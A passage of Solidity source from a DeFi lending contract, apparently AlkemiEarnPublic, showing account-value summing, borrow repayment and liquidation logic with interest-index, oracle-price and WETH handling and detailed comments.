* supply balances and borrow balances (with collateral ratio) separately and then
* subtract the sums at the end.
*/
AccountValueLocalVars memory localResults; // Re-used for all intermediate results
localResults.sumSupplies = Exp({mantissa: 0});
localResults.sumBorrows = Exp({mantissa: 0});
Error err; // Re-used for all intermediate errors
localResults.collateralMarketsLength = collateralMarkets.length;
for (uint256 i = 0; i < localResults.collateralMarketsLength; i++) {
localResults.assetAddress = collateralMarkets[i];
Market storage currentMarket = markets[localResults.assetAddress];
Balance storage supplyBalance = supplyBalances[userAddress][
localResults.assetAddress
];
Balance storage borrowBalance = borrowBalances[userAddress][
localResults.assetAddress
];
if (supplyBalance.principal > 0) {
// We calculate the newSupplyIndex and user’s supplyCurrent (includes interest)
(err, localResults.newSupplyIndex) = calculateInterestIndex(
currentMarket.supplyIndex,
currentMarket.supplyRateMantissa,
currentMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
(err, localResults.userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// We have the user's supply balance with interest so let's multiply by the asset price to get the total value
(err, localResults.supplyTotalValue) = getPriceForAssetAmount(
localResults.assetAddress,
localResults.userSupplyCurrent
); // supplyCurrent * oraclePrice = supplyValueInEth
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Add this to our running sum of supplies
(err, localResults.sumSupplies) = addExp(
localResults.supplyTotalValue,
localResults.sumSupplies
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
}
if (borrowBalance.principal > 0) {
// We perform a similar actions to get the user's borrow balance
(err, localResults.newBorrowIndex) = calculateInterestIndex(
currentMarket.borrowIndex,
currentMarket.borrowRateMantissa,
currentMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// We have the user's borrow balance with interest so let's multiply by the asset price to get the total value
(err, localResults.borrowTotalValue) = getPriceForAssetAmount(
localResults.assetAddress,
localResults.userBorrowCurrent
); // borrowCurrent * oraclePrice = borrowValueInEth
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Add this to our running sum of borrows
(err, localResults.sumBorrows) = addExp(
localResults.borrowTotalValue,
localResults.sumBorrows
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
}
}
return (
Error.NO_ERROR,
localResults.sumSupplies,
localResults.sumBorrows
);
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details),
* sum ETH value of supplies scaled by 10e18,
* sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValues(address userAddress)
public
view
returns (
uint256,
uint256,
uint256
)
{
(
Error err,
Exp memory supplyValue,
Exp memory borrowValue
) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (uint256(err), 0, 0);
}
return (0, supplyValue.mantissa, borrowValue.mantissa);
}
/**
* @notice Users repay borrowed assets from their own address to the protocol.
* @param asset The market asset to repay
* @param amount The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(address asset, uint256 amount)
public
payable
nonReentrant
returns (uint256)
{
if (paused) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.REPAY_BORROW_CONTRACT_PAUSED
);
}
refreshAlkBorrowIndex(asset, msg.sender, false);
PayBorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint256 rateCalculationResultCode;
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
uint256 reimburseAmount;
// If the user specifies -1 amount to repay (“max”), repayAmount =>
// the lesser of the senders ERC-20 balance and borrowCurrent
if (asset != wethAddress) {
if (amount == uint256(-1)) {
localResults.repayAmount = min(
getBalanceOf(asset, msg.sender),
localResults.userBorrowCurrent
);
} else {
localResults.repayAmount = amount;
}
} else {
// To calculate the actual repay use has to do and reimburse the excess amount of ETH collected
if (amount > localResults.userBorrowCurrent) {
localResults.repayAmount = localResults.userBorrowCurrent;
(err, reimburseAmount) = sub(
amount,
localResults.userBorrowCurrent
); // reimbursement called at the end to make sure function does not have any other errors
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
} else {
localResults.repayAmount = amount;
}
}
// Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated`
// Note: this checks that repayAmount is less than borrowCurrent
(err, localResults.userBorrowUpdated) = sub(
localResults.userBorrowCurrent,
localResults.repayAmount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// Fail gracefully if asset is not approved or has insufficient balance
// Note: this checks that repayAmount is less than or equal to their ERC-20 balance
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
revertEtherToUser(msg.sender, msg.value);
err = checkTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE
);
}
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalBorrows) = addThenSub(
market.totalBorrows,
localResults.userBorrowUpdated,
borrowBalance.principal
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED
);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(
localResults.currentCash,
localResults.repayAmount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == amount) {
uint256 supplyError = supplyEther(
msg.sender,
localResults.repayAmount
);
//Repay excess funds
if (reimburseAmount > 0) {
revertEtherToUser(msg.sender, reimburseAmount);
}
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
supplyOriginationFeeAsAdmin(
asset,
msg.sender,
localResults.repayAmount,
market.supplyIndex
);
emit BorrowRepaid(
msg.sender,
asset,
localResults.repayAmount,
localResults.startingBalance,
borrowBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice users repay all or some of an underwater borrow and receive collateral
* @param targetAccount The account whose borrow should be liquidated
* @param assetBorrow The market asset to repay
* @param assetCollateral The borrower's market asset to receive in exchange
* @param requestedAmountClose The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function liquidateBorrow(
address targetAccount,
address assetBorrow,
address assetCollateral,
uint256 requestedAmountClose
) public payable returns (uint256) {
if (paused) {
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.LIQUIDATE_CONTRACT_PAUSED
);
}
refreshAlkSupplyIndex(assetCollateral, targetAccount, false);
refreshAlkSupplyIndex(assetCollateral, msg.sender, false);
refreshAlkBorrowIndex(assetBorrow, targetAccount, false);
LiquidateLocalVars memory localResults;
// Copy these addresses into the struct for use with `emitLiquidationEvent`
// We'll use localResults.liquidator inside this function for clarity vs using msg.sender.
localResults.targetAccount = targetAccount;
localResults.assetBorrow = assetBorrow;
localResults.liquidator = msg.sender;
localResults.assetCollateral = assetCollateral;
Market storage borrowMarket = markets[assetBorrow];
Market storage collateralMarket = markets[assetCollateral];
Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[
targetAccount
][assetBorrow];
Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[
targetAccount
][assetCollateral];
// Liquidator might already hold some of the collateral asset
Balance storage supplyBalance_LiquidatorCollateralAsset
= supplyBalances[localResults.liquidator][assetCollateral];
uint256 rateCalculationResultCode; // Used for multiple interest rate calculation calls
Error err; // re-used for all intermediate errors
(err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED);
}
(err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow);
// If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice
assert(err == Error.NO_ERROR);
// We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset
(
err,
localResults.newBorrowIndex_UnderwaterAsset
) = calculateInterestIndex(
borrowMarket.borrowIndex,
borrowMarket.borrowRateMantissa,
borrowMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET
);
}
(
err,
localResults.currentBorrowBalance_TargetUnderwaterAsset
) = calculateBalance(
borrowBalance_TargeUnderwaterAsset.principal,
borrowBalance_TargeUnderwaterAsset.interestIndex,
localResults.newBorrowIndex_UnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED
);
}
// We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset
(
err,
localResults.newSupplyIndex_CollateralAsset
) = calculateInterestIndex(
collateralMarket.supplyIndex,
collateralMarket.supplyRateMantissa,
collateralMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET
);
}
(
err,
localResults.currentSupplyBalance_TargetCollateralAsset
) = calculateBalance(
supplyBalance_TargetCollateralAsset.principal,
supplyBalance_TargetCollateralAsset.interestIndex,
localResults.newSupplyIndex_CollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET
);
}
// Liquidator may or may not already have some collateral asset.
// If they do, we need to accumulate interest on it before adding the seized collateral to it.
// We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset
(
err,
localResults.currentSupplyBalance_LiquidatorCollateralAsset
) = calculateBalance(
supplyBalance_LiquidatorCollateralAsset.principal,
supplyBalance_LiquidatorCollateralAsset.interestIndex,
localResults.newSupplyIndex_CollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
);
}
// We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated
// interest and then by adding the liquidator's accumulated interest.
// Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the target user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(
collateralMarket.totalSupply,
localResults.currentSupplyBalance_TargetCollateralAsset,
supplyBalance_TargetCollateralAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET
);
}
// Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the calling user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(
localResults.newTotalSupply_ProtocolCollateralAsset,
localResults.currentSupplyBalance_LiquidatorCollateralAsset,
supplyBalance_LiquidatorCollateralAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
);
}
// We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user
// This is equal to the lesser of
// 1. borrowCurrent; (already calculated)
// 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount:
// discountedRepayToEvenAmount=
// shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
// 3. discountedBorrowDenominatedCollateral
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
// Here we calculate item 3. discountedBorrowDenominatedCollateral =
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
(
err,
localResults.discountedBorrowDenominatedCollateral
) = calculateDiscountedBorrowDenominatedCollateral(
localResults.underwaterAssetPrice,
localResults.collateralPrice,
localResults.currentSupplyBalance_TargetCollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED
);
}
if (borrowMarket.isSupported) {
// Market is supported, so we calculate item 2 from above.
(
err,
localResults.discountedRepayToEvenAmount
) = calculateDiscountedRepayToEvenAmount(
targetAccount,
localResults.underwaterAssetPrice,
assetBorrow
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED
);
}
// We need to do a two-step min to select from all 3 values
// min1&3 = min(item 1, item 3)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.discountedBorrowDenominatedCollateral
);
// min1&3&2 = min(min1&3, 2)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset,
localResults.discountedRepayToEvenAmount
);
} else {
// Market is not supported, so we don't need to calculate item 2.
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.discountedBorrowDenominatedCollateral
);
}
// If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset
if (assetBorrow != wethAddress) {
if (requestedAmountClose == uint256(-1)) {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = localResults
.maxCloseableBorrowAmount_TargetUnderwaterAsset;
} else {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
} else {
// To calculate the actual repay use has to do and reimburse the excess amount of ETH collected
if (
requestedAmountClose >
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
) {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = localResults
.maxCloseableBorrowAmount_TargetUnderwaterAsset;
(err, localResults.reimburseAmount) = sub(
requestedAmountClose,
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
); // reimbursement called at the end to make sure function does not have any other errors
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
} else {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
}
// From here on, no more use of `requestedAmountClose`
// Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset
if (
localResults.closeBorrowAmount_TargetUnderwaterAsset >
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
) {
return
fail(
Error.INVALID_CLOSE_AMOUNT_REQUESTED,
FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH
);
}
// seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount)
(
err,
localResults.seizeSupplyAmount_TargetCollateralAsset
) = calculateAmountSeize(
localResults.underwaterAssetPrice,
localResults.collateralPrice,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED
);
}
// We are going to ERC-20 transfer closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into protocol
// Fail gracefully if asset is not approved or has insufficient balance
if (assetBorrow != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
err = checkTransferIn(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE);
}
}
// We are going to repay the target user's borrow using the calling user's funds
// We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance,
// adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset.
// Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset`
(err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
// We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow
assert(err == Error.NO_ERROR);
// We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(
err,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
) = addThenSub(
borrowMarket.totalBorrows,
localResults.updatedBorrowBalance_TargetUnderwaterAsset,
borrowBalance_TargeUnderwaterAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET
);
}
// We need to calculate what the updated cash will be after we transfer in from liquidator
localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow);
(err, localResults.updatedCash_ProtocolUnderwaterAsset) = add(
localResults.currentCash_ProtocolUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET
);
}
// The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow
// (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.)
// We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it.
(
err,
localResults.newSupplyIndex_UnderwaterAsset
) = calculateInterestIndex(
borrowMarket.supplyIndex,
borrowMarket.supplyRateMantissa,
borrowMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET
);
}
(
rateCalculationResultCode,
localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset
) = borrowMarket.interestRateModel.getSupplyRate(
assetBorrow,
localResults.updatedCash_ProtocolUnderwaterAsset,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo
.LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET,
rateCalculationResultCode
);
}
(
rateCalculationResultCode,
localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset
) = borrowMarket.interestRateModel.getBorrowRate(
assetBorrow,
localResults.updatedCash_ProtocolUnderwaterAsset,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo
.LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET,
rateCalculationResultCode
);
}
// Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above.
// Now we need to calculate the borrow index.
// We don't need to calculate new rates for the collateral asset because we have not changed utilization:
// - accumulating interest on the target user's collateral does not change cash or borrows
// - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows.
(
err,
localResults.newBorrowIndex_CollateralAsset
) = calculateInterestIndex(
collateralMarket.borrowIndex,
collateralMarket.borrowRateMantissa,
collateralMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET
);
}
// We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index
(err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub(
localResults.currentSupplyBalance_TargetCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
// The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance
// maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits closeBorrowAmount_TargetUnderwaterAsset
// which in turn limits seizeSupplyAmount_TargetCollateralAsset.
assert(err == Error.NO_ERROR);
// We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index
(
err,
localResults.updatedSupplyBalance_LiquidatorCollateralAsset
) = add(
localResults.currentSupplyBalance_LiquidatorCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
// We can't overflow here because if this would overflow, then we would have already overflowed above and failed
// with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
assert(err == Error.NO_ERROR);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save borrow market updates
borrowMarket.blockNumber = block.number;
borrowMarket.totalBorrows = localResults
.newTotalBorrows_ProtocolUnderwaterAsset;
// borrowMarket.totalSupply does not need to be updated
borrowMarket.supplyRateMantissa = localResults
.newSupplyRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset;
borrowMarket.borrowRateMantissa = localResults
.newBorrowRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset;
// Save collateral market updates
// We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply.
collateralMarket.blockNumber = block.number;
collateralMarket.totalSupply = localResults
.newTotalSupply_ProtocolCollateralAsset;
collateralMarket.supplyIndex = localResults
.newSupplyIndex_CollateralAsset;
collateralMarket.borrowIndex = localResults
.newBorrowIndex_CollateralAsset;
// Save user updates
localResults
.startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset
.principal; // save for use in event
borrowBalance_TargeUnderwaterAsset.principal = localResults
.updatedBorrowBalance_TargetUnderwaterAsset;
borrowBalance_TargeUnderwaterAsset.interestIndex = localResults
.newBorrowIndex_UnderwaterAsset;
localResults
.startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset
.principal; // save for use in event
supplyBalance_TargetCollateralAsset.principal = localResults
.updatedSupplyBalance_TargetCollateralAsset;
supplyBalance_TargetCollateralAsset.interestIndex = localResults
.newSupplyIndex_CollateralAsset;
localResults
.startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset
.principal; // save for use in event
supplyBalance_LiquidatorCollateralAsset.principal = localResults
.updatedSupplyBalance_LiquidatorCollateralAsset;
supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults
.newSupplyIndex_CollateralAsset;
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
if (assetBorrow != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == requestedAmountClose) {
uint256 supplyError = supplyEther(
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
//Repay excess funds
if (localResults.reimburseAmount > 0) {
revertEtherToUser(
localResults.liquidator,
localResults.reimburseAmount
);
}
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
supplyOriginationFeeAsAdmin(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.newSupplyIndex_UnderwaterAsset
);
emit BorrowLiquidated(
localResults.targetAccount,
localResults.assetBorrow,
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.liquidator,
localResults.assetCollateral,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
* If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed.
* Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO.
